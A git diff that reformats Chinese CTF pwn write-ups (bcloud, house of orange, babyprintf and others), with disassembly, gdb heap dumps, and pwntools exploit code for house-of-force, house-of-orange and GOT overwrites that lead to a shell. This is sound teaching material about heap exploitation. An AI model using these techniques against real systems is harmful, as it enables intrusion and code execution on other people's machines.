0x00007ffff7f92010 0x6020d0: 0x0000000000603530 0x0000000100000001 @@ -441,10 +459,12 @@ gdb-peda$ x/10gx 0x00603530-0x10 0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE 0x603560: 0x0000000041414141 0x0000000000000000 ``` + 上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。 在 small secret 中布置上一个 fake chunk: -``` + +```text gdb-peda$ x/5gx 0x006020c0 0x6020c0: 0x0000000000603560 0x00007ffff7f92010 0x6020d0: 0x0000000000603530 0x0000000100000001 @@ -460,18 +480,22 @@ gdb-peda$ x/gx 0x006020b8 + 0x18 gdb-peda$ x/gx 0x006020c0 + 0x10 0x6020d0: 0x0000000000603530 <-- P->bk->fd = P ``` + 释放 big secret 即可触发 unsafe unlink: -``` + +```text gdb-peda$ x/6gx 0x006020b8 0x6020b8: 0x0000000000000000 0x0000000000603560 0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr 0x6020d8: 0x0000000100000000 0x0000000000000001 ``` + 于是我们就获得了修改 `.bss` 段的能力。 后面的过程就和上一题完全一样了。 -#### leak libc +### leak libc + ```python def leak(): global one_gadget @@ -494,7 +518,8 @@ def leak(): log.info("one_gadget address: 0x%x" % one_gadget) ``` -#### pwn +### pwn + ```python def pwn(): payload = "A" * 0x10 @@ -506,7 +531,8 @@ def pwn(): ``` 开启 ASLR,Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './SleepyHolder': pid 8352 [*] libc base: 0x7ffbcd987000 @@ -516,8 +542,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -595,7 +623,7 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/4812 -- https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder + +- +- diff --git a/doc/6.1.23_pwn_bctf2016_bcloud.md b/doc/6.1.23_pwn_bctf2016_bcloud.md index 01f4805..7241d93 100644 --- a/doc/6.1.23_pwn_bctf2016_bcloud.md +++ b/doc/6.1.23_pwn_bctf2016_bcloud.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.23_pwn_bctf2016_bcloud) ## 题目复现 -``` -$ file bcloud + +```text +$ file bcloud bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped $ checksec -f bcloud RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.19.so | grep "GNU C" GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.2. ``` + 32 位程序,开启了 Canary 和 NX,默认开启 ASLR。 在 Ubuntu-14.04 上玩一下: -``` + +```text $ ./bcloud Input your name: AAAA @@ -90,14 +92,17 @@ option--->> Syncing... Synchronization success. ``` + 典型的堆利用程序,实现了添加、修改、删除的功能,显示功能未实现。另外还有个同步,不知道做什么用。在打印菜单之前,程序读入 name 并打印了出来,这个很有意思,可能是为了信息泄漏故意设置的。 - ## 题目解析 -#### init + +### init + 在 main 函数打印菜单之前,有一个初始化函数 `fcn.0804899c`,这个函数又依次调用了函数 `sub.memset_7a1` 和函数 `sub.memset_84e`: -``` -[0x08048590]> pdf @ sub.memset_7a1 + +```text +[0x08048590]> pdf @ sub.memset_7a1 / (fcn) sub.memset_7a1 173 | sub.memset_7a1 (); | ; var int local_60h @ ebp-0x60 @@ -153,10 +158,12 @@ Synchronization success. | `-> 0x0804884c leave \ 0x0804884d ret ``` + 所以该函数所读入的字符串是先放在栈上,然后复制到堆。最后调用一个函数打印出了堆上的字符串。 来看一下读入字符串的函数 `sub.read_68d`: -``` + +```text [0x08048590]> pdf @ sub.read_68d / (fcn) sub.read_68d 124 | sub.read_68d (int arg_8h, int arg_ch, int arg_10h); @@ -212,13 +219,15 @@ Synchronization success. | 0x08048707 leave \ 0x08048708 ret ``` + 乍看之下似乎没有问题,在读入字符串末尾也加上了截断 `\x00`。 但是,注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 `local_5ch`,最多 0x40 个字节,返回地址位于 `local_5ch + 0x40`,所以如果我们正好读入 0x40 字节,则 `\x00` 会被放到 `local_5ch + 0x41` 的位置,然后正好被返回地址给覆盖掉了。由于函数 `strcpy()` 是以 `\x00` 来决定字符串结尾的,所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。 继续看函数 `sub.memset_84e`: -``` -[0x08048590]> pdf @ sub.memset_84e + +```text +[0x08048590]> pdf @ sub.memset_84e / (fcn) sub.memset_84e 334 | sub.memset_84e (); | ; var int local_a8h @ ebp-0xa8 @@ -301,13 +310,15 @@ Synchronization success. | `-> 0x0804899a leave \ 0x0804899b ret ``` + 同样的,Host 的返回地址放在 `local_9ch + 0x88` 的位置,而字符串最多到 `local_9ch + 0x44 + 0x40`,中间还间隔了 0x4 字节,所以不存在漏洞。但是 Org 的返回地址放在 `local_9ch + 0x40`,正好位于字符串的后面,所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面,所以 strcpy 会将 Org 字符串,返回地址和 Host 字符串全都复制到 Org 的堆上,造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size,即 house-of-force。 当然这种漏洞有一定的几率不会成功,比如返回地址的低位本来就是 `\x00` 的时候,就恰好截断了。 -#### New note -``` -[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae +### New note + +```text +[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae / (fcn) sub.Input_the_length_of_the_note_content:_9ae 244 | sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah); | ; var int local_10h @ ebp-0x10 @@ -381,17 +392,21 @@ Synchronization success. | `--> 0x08048aa0 leave \ 0x08048aa1 ret ``` + 我们可以得到下面的数据结构: + ```c int *lengths[10]; // 0x804b0a0 int *syns[10]; // 0x804b0e0 int *notes[10]; // 0x804b120 ``` + 三个数组都是通过指标 i 来对应的,分别存放 note 地址,length 及是否同步。 -#### Edit note -``` -[0x08048590]> pdf @ sub.Input_the_id:_ab7 +### Edit note + +```text +[0x08048590]> pdf @ sub.Input_the_id:_ab7 / (fcn) sub.Input_the_id:_ab7 172 | sub.Input_the_id:_ab7 (int arg_9h); | ; var int local_14h @ ebp-0x14 @@ -447,11 +462,13 @@ int *notes[10]; // 0x804b120 | `-`-> 0x08048b61 leave \ 0x08048b62 ret ``` + 该函数在修改 note 时,先将 syns[i] 清空,然后读入 lengths[i] 长度的内容到 notes[i]。 -#### Delete note -``` -[0x08048590]> pdf @ sub.Input_the_id:_b63 +### Delete note + +```text +[0x08048590]> pdf @ sub.Input_the_id:_b63 / (fcn) sub.Input_the_id:_b63 146 | sub.Input_the_id:_b63 (int arg_9h); | ; var int local_10h @ ebp-0x10 @@ -500,13 +517,15 @@ int *notes[10]; // 0x804b120 | `-`-> 0x08048bf3 leave \ 0x08048bf4 ret ``` + 该函数首先判断 notes[i] 是否存在,如果存在则释放 notes[i] 并将 notes[i] 和 lengths[i] 都置 0。不存在悬指针等漏洞。 至于 Syn 功能,就是将 syns[i] 都置 1,对漏洞利用没有影响。 - ## 漏洞利用 + 所以这题的利用思路就是 house-of-force,步骤如下: + - 泄漏 heap 地址 - 利用溢出修改 top chunk 的 size - 分配一个 chunk,将 top chunk 转移到 lengths 数组前面 @@ -514,7 +533,8 @@ int *notes[10]; // 0x804b120 - 修改 `free@got.plt` 为 `puts@got.plt`,泄漏 libc - 修改 `atoi@got.plt` 为 `system@got.plt`,得到 shell -#### leak heap +### leak heap + ```python def leak_heap(): global leak @@ -523,7 +543,8 @@ def leak_heap(): leak = u32(io.recvuntil('! Welcome', drop=True)[-4:]) log.info("leak heap address: 0x%x" % leak) ``` -``` + +```text gdb-peda$ x/17wx 0xffffb834 0xffffb834: 0x41414141 0x41414141 0x41414141 0x41414141 <-- stack 0xffffb844: 0x41414141 0x41414141 0x41414141 0x41414141 @@ -537,9 +558,11 @@ gdb-peda$ x/19wx 0x0804c008-0x8 0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c040: 0x41414141 0x41414141 0x0804c008 <-- pointer ``` + 可以看到对指针被复制到了堆中,只要将其打印出来即可。 -#### house-of-force +### house-of-force + ```python def house_of_force(): io.sendafter("Org:\n", "A" * 0x40) @@ -552,10 +575,12 @@ def house_of_force(): payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2] new(0x8c, payload) ``` + 接下来是 house-of-force,通过溢出修改 top chunk 的 size,可以在下次 malloc 时将 top chunk 转移到任意地址,之后的 chunk 也将依据转移后的 top chunk 来分配。 溢出: -``` + +```text gdb-peda$ x/22wx 0x804c098-0x8 0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141 0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141 @@ -564,8 +589,10 @@ gdb-peda$ x/22wx 0x804c098-0x8 0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffffff <-- top chunk size 0x804c0e0: 0x00000000 0x00000000 ``` + 转移 top chunk: -``` + +```text gdb-peda$ x/22wx 0x804c098-0x8 0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141 0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141 @@ -587,8 +614,10 @@ gdb-peda$ x/40wx 0x804b098 0x804b118: 0x00000000 0x00000000 0x0804c0e0 0x00000000 <-- notes[0] 0x804b128: 0x00000000 0x00000000 0x00000000 0x00000000 ``` + 再次 malloc,将其后的 .bss 段变为可写,然后放上 GOT 表指针: -``` + +```text gdb-peda$ x/40wx 0x0804b0a0-0x8 0x804b098: 0x00000000 0x00000099 0x41414141 0x41414141 <-- chunk 0x804b0a8: 0x41414141 0x41414141 0x41414141 0x41414141 @@ -602,7 +631,8 @@ gdb-peda$ x/40wx 0x0804b0a0-0x8 0x804b128: 0x0804b03c 0x00000000 0x00000000 0x00000fa1 <-- notes[2] <-- top chunk ``` -#### leak libc +### leak libc + ```python def leak_libc(): global system_addr @@ -619,9 +649,11 @@ def leak_libc(): log.info("libc base: 0x%x" % libc_base) log.info("system address: 0x%x" % system_addr) ``` + 接下来就可以利用 Edit 功能修改 GOT 表,泄漏 libc 地址了。 -#### pwn +### pwn + ```python def pwn(): edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt @@ -631,8 +663,9 @@ def pwn(): ``` 开启 ASLR,Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Starting local process './bcloud': pid 6696 [*] leak heap address: 0x9181008 [*] leak atoi address: 0xf756b860 @@ -643,8 +676,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -718,6 +753,6 @@ if __name__ == '__main__': pwn() ``` - ## 参考资料 -- https://ctftime.org/task/2165 + +- diff --git a/doc/6.1.24_hitconctf2016_house_of_orange.md b/doc/6.1.24_hitconctf2016_house_of_orange.md index ed152b9..a616a51 100644 --- a/doc/6.1.24_hitconctf2016_house_of_orange.md +++ b/doc/6.1.24_hitconctf2016_house_of_orange.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.24_hitconctf2016_house_of_orange) ## 题目复现 -``` -$ file houseoforange + +```text +$ file houseoforange houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped $ checksec -f houseoforange RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,97 +19,101 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.3.1 20160413. ``` + 64 位程序,保护全开,默认开启 ASLR。 在 Ubuntu16.04 上玩一下: -``` + +```text $ ./houseoforange +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ - 1. Build the house - 2. See the house - 3. Upgrade the house - 4. Give up + 1. Build the house + 2. See the house + 3. Upgrade the house + 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 <-- Build a house Length of name :20 Name :AAAAAAAAAAAAAAAAAAA Price of Orange:1 +++++++++++++++++++++++++++++++++++++ - 1. Red - 2. Green - 3. Yellow - 4. Blue - 5. Purple - 6. Cyan - 7. White + 1. Red + 2. Green + 3. Yellow + 4. Blue + 5. Purple + 6. Cyan + 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange:1 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ - 1. Build the house - 2. See the house - 3. Upgrade the house - 4. Give up + 1. Build the house + 2. See the house + 3. Upgrade the house + 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 3 <-- Upgrade the house Length of name :10 Name:BBBBBBBBBB Price of Orange: +++++++++++++++++++++++++++++++++++++ - 1. Red - 2. Green - 3. Yellow - 4. Blue - 5. Purple - 6. Cyan - 7. White + 1. Red + 2. Green + 3. Yellow + 4. Blue + 5. Purple + 6. Cyan + 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange: 1 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ - 1. Build the house - 2. See the house - 3. Upgrade the house - 4. Give up + 1. Build the house + 2. See the house + 3. Upgrade the house + 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 2 <-- See the house Name of house : BBBBBBBBBBAAAAAAAAA Price of orange : 0 - __ - \/.--, - //_.' - .-""-/""----.. - / . . . . . . . \ - / . . . . . . . . \ - |. 乂 . . . 乂. .| - \ . . . . . . . . | - \. . . . . . . . ./ - \ . . . *. . . / - '-.__.__.__._-' + __ + \/.--, + //_.' + .-""-/""----.. + / . . . . . . . \ + / . . . . . . . . \ + |. 乂 . . . 乂. .| + \ . . . . . . . . | + \. . . . . . . . ./ + \ . . . *. . . / + '-.__.__.__._-' +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ - 1. Build the house - 2. See the house - 3. Upgrade the house - 4. Give up + 1. Build the house + 2. See the house + 3. Upgrade the house + 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 4 give up ``` + 程序允许我们对 house 进行 Build、See 和 Upgrade 的操作。可以看到在 See 的时候似乎有点问题,"A"的字符串应该是 Upgrade 之前的,但这里还是被打印了出来,猜测可能存在信息泄露,需要重点关注。 - ## 题目解析 -#### Build the house -``` + +### Build the house + +```text [0x00000af0]> pdf @ sub.Too_many_house_d37 / (fcn) sub.Too_many_house_d37 431 | sub.Too_many_house_d37 (int arg_7h, int arg_1000h, int arg_ddaah); @@ -233,7 +237,9 @@ give up | 0x00000ee4 leave \ 0x00000ee5 ret ``` + 通过对这段代码的分析可以得到两个结构体: + ```c struct orange{ int price; @@ -244,13 +250,16 @@ struct house { char *name; } house; ``` + Build 最多可以进行 4 次,整个过程有 2 个 malloc 和 1 个 calloc: + - `malloc(0x10)`:给 house struct 分配空间 - `malloc(length)`:给 name 分配空间,其中 length 来自用户输入,如果大于 0x1000,则按照 0x1000 处理。 - `calloc(1, 8)`:给 orange struct 分配空间 那么我们再来看一下用于读入 name 的函数: -``` + +```text [0x00000af0]> pdf @ sub.read_c20 / (fcn) sub.read_c20 69 | sub.read_c20 (); @@ -282,10 +291,12 @@ Build 最多可以进行 4 次,整个过程有 2 个 malloc 和 1 个 calloc | 0x00000c63 leave \ 0x00000c64 ret ``` + 这个函数在读入 length 长度的字符串后,没有在末尾加上 `\x00` 截断,正如我们上面看到的,可能导致信息泄露。 -#### See the house -``` +### See the house + +```text [0x00000af0]> pdf @ sub.Name_of_house_:__s_ee6 / (fcn) sub.Name_of_house_:__s_ee6 406 | sub.Name_of_house_:__s_ee6 (); @@ -398,10 +409,12 @@ Build 最多可以进行 4 次,整个过程有 2 个 malloc 和 1 个 calloc | ``--> 0x0000107a pop rbp \ 0x0000107b ret ``` + See 会打印出 house->name,orange->price 和 orange 图案。 -#### Upgrade the house -``` +### Upgrade the house + +```text [0x00000af0]> pdf @ sub.You_can_t_upgrade_more_7c / (fcn) sub.You_can_t_upgrade_more_7c 379 | sub.You_can_t_upgrade_more_7c (int arg_7h, int arg_1000h, int arg_ddaah); @@ -513,15 +526,17 @@ See 会打印出 house->name,orange->price 和 orange 图案。 | 0x000011f5 pop rbp \ 0x000011f6 ret ``` + Upgrade 最多可以进行 3 次,当确认 house 存在后,就直接在 orange->name 的地方读入长度为 length 的 name,然后读入新的 price 和 color。新的 length 同样来自用户输入,如果大于 0x1000,则按照 0x1000 处理。 这里的问题在于程序没有将新 length 与旧 length 做任何比较,如果新 length 大于 旧 length,那么将导致堆溢出。 - ## 漏洞利用 + 和常见的堆利用题目不同的是,这题只有 malloc 而没有 free,于是很多利用方法都用不了。当然这题是独创了一种 house-of-orange 的利用方法,这种方法利用堆溢出修改 `_IO_list_all` 结构体,从而改变程序流,前提是能够泄漏堆和 libc,泄露的方法是触发位于 `sysmalloc()` 中的 `_int_free()` 将 top chunk 释放到 unsorted bin 中(详细内容参考章节 3.1.8 和 4.13)。 -#### overwrite top chunk +### overwrite top chunk + ```python def overwrite_top(): build(0x10, 'AAAA') @@ -530,8 +545,10 @@ def overwrite_top(): payload += p64(0) + p64(0xfa1) # top chunk header upgrade(0x41, payload) ``` + 第一步,覆盖 top chunk 的 size 域,以触发 `sysmalloc()`。创建第一个 house: -``` + +```text gdb-peda$ x/16gx 0x555555758010-0x10 0x555555758000: 0x0000000000000000 0x0000000000000021 <-- house 1 0x555555758010: 0x0000555555758050 0x0000555555758030 @@ -542,8 +559,10 @@ gdb-peda$ x/16gx 0x555555758010-0x10 0x555555758060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk 0x555555758070: 0x0000000000000000 0x0000000000000000 ``` + 根据一定的规则修改 size,简单说就是这里 top chunk size 是 `0x20fa1`,那就修改为 `0xfa1`: -``` + +```text gdb-peda$ x/16gx 0x555555758010-0x10 0x555555758000: 0x0000000000000000 0x0000000000000021 <-- house 1 0x555555758010: 0x0000555555758050 0x0000555555758030 @@ -555,7 +574,8 @@ gdb-peda$ x/16gx 0x555555758010-0x10 0x555555758070: 0x000000000000000a 0x0000000000000000 ``` -#### leak libc +### leak libc + ```python def leak_libc(): global libc_base @@ -567,8 +587,10 @@ def leak_libc(): log.info("libc_base address: 0x%x" % libc_base) ``` + 接下来分配一个大于 top chunk,小于 `mp_.mmap_threshold` 的 large chunk,此时将触发 `sysmalloc()` 中的 `_int_free()`,top chunk 将被释放到 unsorted bin 中,同时新的 top chunk 将由扩展方式分配出来: -``` + +```text gdb-peda$ x/26gx 0x555555758010-0x10 0x555555758000: 0x0000000000000000 0x0000000000000021 <-- house 1 0x555555758010: 0x0000555555758050 0x0000555555758030 @@ -590,8 +612,10 @@ gdb-peda$ x/4gx 0x555555779010-0x10+0x1010 0x55555577a010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk 0x55555577a020: 0x0000000000000000 0x0000000000000000 ``` + 可以看到 old top chunk 已经被放到 unsorted bin 中了,其 fd, bk 指针指向 libc。接下来再分配一个 large chunk,这个 chunk 将从 old top chunk 中切下来,剩下的再放回 unsorted bin: -``` + +```text gdb-peda$ x/32gx 0x555555758010-0x10 0x555555758000: 0x0000000000000000 0x0000000000000021 <-- house 1 0x555555758010: 0x0000555555758050 0x0000555555758030 @@ -615,9 +639,11 @@ gdb-peda$ x/8gx 0x5555557580c0+0x410 0x5555557584f0: 0x0000000000000000 0x0000000000000af1 <-- old top chunk 0x555555758500: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer ``` + 可以看到 name 3 上有遗留的 old top chunk 的 bk 指针。只要将其打印出来,通过计算即可得到 libc 的基址。 -#### leak heap +### leak heap + ```python def leak_heap(): global heap_addr @@ -627,7 +653,9 @@ def leak_heap(): log.info("heap address: 0x%x" % heap_addr) ``` + 在上一步中我们还可以看到 name 3 上还有遗留的 fd_nextsize 和 bk_nextsize,这是因为在分配一个 large chunk 时,会先将 unsorted bin 中的 large chunk 取出放到 large bin 中。因为当前 large bin 是空的,所以 chunk 的 fd_nextsize 和 bk_nextsize 都指向自身: + ```c /* maintain large bins in sorted order */ if (fwd != bck) @@ -637,8 +665,10 @@ def leak_heap(): else victim->fd_nextsize = victim->bk_nextsize = victim; ``` + 所以这里我们通过修改 name 即可泄露出 heap 地址: -``` + +```text gdb-peda$ x/32gx 0x555555758010-0x10 0x555555758000: 0x0000000000000000 0x0000000000000021 0x555555758010: 0x0000555555758050 0x0000555555758030 @@ -658,7 +688,8 @@ gdb-peda$ x/32gx 0x555555758010-0x10 0x5555557580f0: 0x0000000000000000 0x0000000000000000 ``` -#### house of orange +### house of orange + ```python def house_of_orange(): io_list_all = libc_base + libc.symbols['_IO_list_all'] @@ -686,8 +717,10 @@ def house_of_orange(): upgrade(0x600, payload) ``` + 现在我们有了 libc 和 heap 地址,接下来就是真正的 house-of-orange,相信你已经看了参考章节,这里就不再重复了。结果如下: -``` + +```text gdb-peda$ x/36gx 0x5555557580c0+0x410 0x5555557584d0: 0x4141414141414141 0x4141414141414141 0x5555557584e0: 0x0000001f00000001 0x4141414141414141 @@ -708,18 +741,22 @@ gdb-peda$ x/36gx 0x5555557580c0+0x410 0x5555557585d0: 0x0000000000000001 0x0000000000000002 0x5555557585e0: 0x00007ffff7a53380 0x000000000000000a ``` + 可以看到 old top chunk 的 size 被改写为 0x60,在下次分配时,会先从 unsorted bin 中取下 old top chunk,将其放到 smallbins[5],同时,unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`。 -#### pwn +### pwn + ```python def pwn(): io.sendlineafter("Your choice : ", '1') # abort routine io.interactive() ``` + 由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp`。 开启 ASLR,Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './houseoforange': pid 6219 [*] libc_base address: 0x7f02ae6d9000 @@ -735,8 +772,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -830,6 +869,6 @@ if __name__ == '__main__': pwn() ``` - ## 参考资料 -- https://ctftime.org/task/4811 + +- diff --git a/doc/6.1.25_pwn_hctf2017_babyprintf.md b/doc/6.1.25_pwn_hctf2017_babyprintf.md index 170a805..c51eca8 100644 --- a/doc/6.1.25_pwn_hctf2017_babyprintf.md +++ b/doc/6.1.25_pwn_hctf2017_babyprintf.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.25_pwn_hctf2017_babyprintf) ## 题目复现 -``` -$ file babyprintf + +```text +$ file babyprintf babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped $ checksec -f babyprintf RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.24.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al. Compiled by GNU CC version 6.3.0 20170406. ``` + 64 位程序,开启了 canary 和 NX,默认开启 ASLR。 在 Ubuntu16.10 上玩一下: -``` + +```text ./babyprintf size: 0 string: AAAA @@ -31,12 +33,14 @@ string: %p.%p.%p.%p result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1 too long ``` + 真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。 - ## 题目解析 -#### main -``` + +### main + +```text [0x00400850]> pdf @ main ;-- section..text: / (fcn) main 130 @@ -80,25 +84,30 @@ too long | 0x0040083e mov edi, 1 \ 0x00400843 call sym.imp.exit ; void exit(int status) ``` + 整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 `gets()` 函数,可能会导致堆溢出。然后直接调用 `__printf_chk()` 打印这个字符串,可能会导致栈信息泄露。 这里需要注意的是 `__printf_chk()` 函数,由于程序开启了 `FORTIFY` 机制,所以程序在编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了。区别有两点: + - 不能使用 `%x$n` 不连续地打印,也就是说如果要使用 `%3$n`,则必须同时使用 `%1$n` 和 `%2$n`。 - 在使用 `%n` 的时候会做一些检查。 - ## 漏洞利用 + 所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 `_IO_str_jumps` 的 vtable 里的 `_IO_str_overflow` 虚表函数(参考章节 4.13)。 -#### overwrite top chunk +### overwrite top chunk + ```python def overwrite_top(): payload = "A" * 16 payload += p64(0) + p64(0xfe1) # top chunk header prf(0x10, payload) ``` + 为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段: -``` + +```text gdb-peda$ x/8gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 @@ -106,7 +115,8 @@ gdb-peda$ x/8gx 0x602010-0x10 0x602030: 0x0000000000000000 0x0000000000000000 ``` -#### leak libc +### leak libc + ```python def leak_libc(): global libc_base @@ -117,8 +127,10 @@ def leak_libc(): log.info("libc_base address: 0x%x" % libc_base) ``` + 然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了: -``` + +```text gdb-peda$ x/10gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 @@ -134,7 +146,8 @@ gdb-peda$ x/4gx 0x623000+0x1010 0x624020: 0x0000000000000000 0x0000000000000000 ``` -#### house of orange +### house of orange + ```python def house_of_orange(): io_list_all = libc_base + libc.symbols['_IO_list_all'] @@ -163,8 +176,10 @@ def house_of_orange(): payload += p64(system_addr) prf(0x10, payload) ``` + 改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下: -``` + +```text gdb-peda$ x/40gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 @@ -183,23 +198,26 @@ gdb-peda$ x/40gx 0x602010-0x10 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 -0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable +0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable 0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18 0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow ``` -#### pwn +### pwn + ```python def pwn(): io.sendline("0") # abort routine io.interactive() ``` + 最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`,获得 shell。 开启 ASLR,Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './babyprintf': pid 8307 [*] libc_base address: 0x7f40dc2ca000 @@ -215,8 +233,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整 exp 如下: + ```python #!/usr/bin/env python @@ -283,6 +303,6 @@ if __name__ == '__main__': pwn() ``` - ## 参考资料 -- https://github.com/spineee/hctf/tree/master/2017/babyprintf + +- diff --git a/doc/6.1.26_pwn_34c3ctf2017_300.md b/doc/6.1.26_pwn_34c3ctf2017_300.md index 60fcdc6..3d85885 100644 --- a/doc/6.1.26_pwn_34c3ctf2017_300.md +++ b/doc/6.1.26_pwn_34c3ctf2017_300.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.26_pwn_34c3ctf2017_300) ## 题目复现 -``` -$ file 300 + +```text +$ file 300 300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped $ checksec -f 300 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.24.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al. Compiled by GNU CC version 6.3.0 20170406. ``` + 64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。 在 Ubuntu16.10 上玩一下: -``` + +```text ) alloc 2) write 3) print @@ -72,12 +74,14 @@ slot? (0-9) 2 Segmentation fault (core dumped) ``` + 很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 `\x00` 导致信息泄露。最后如果 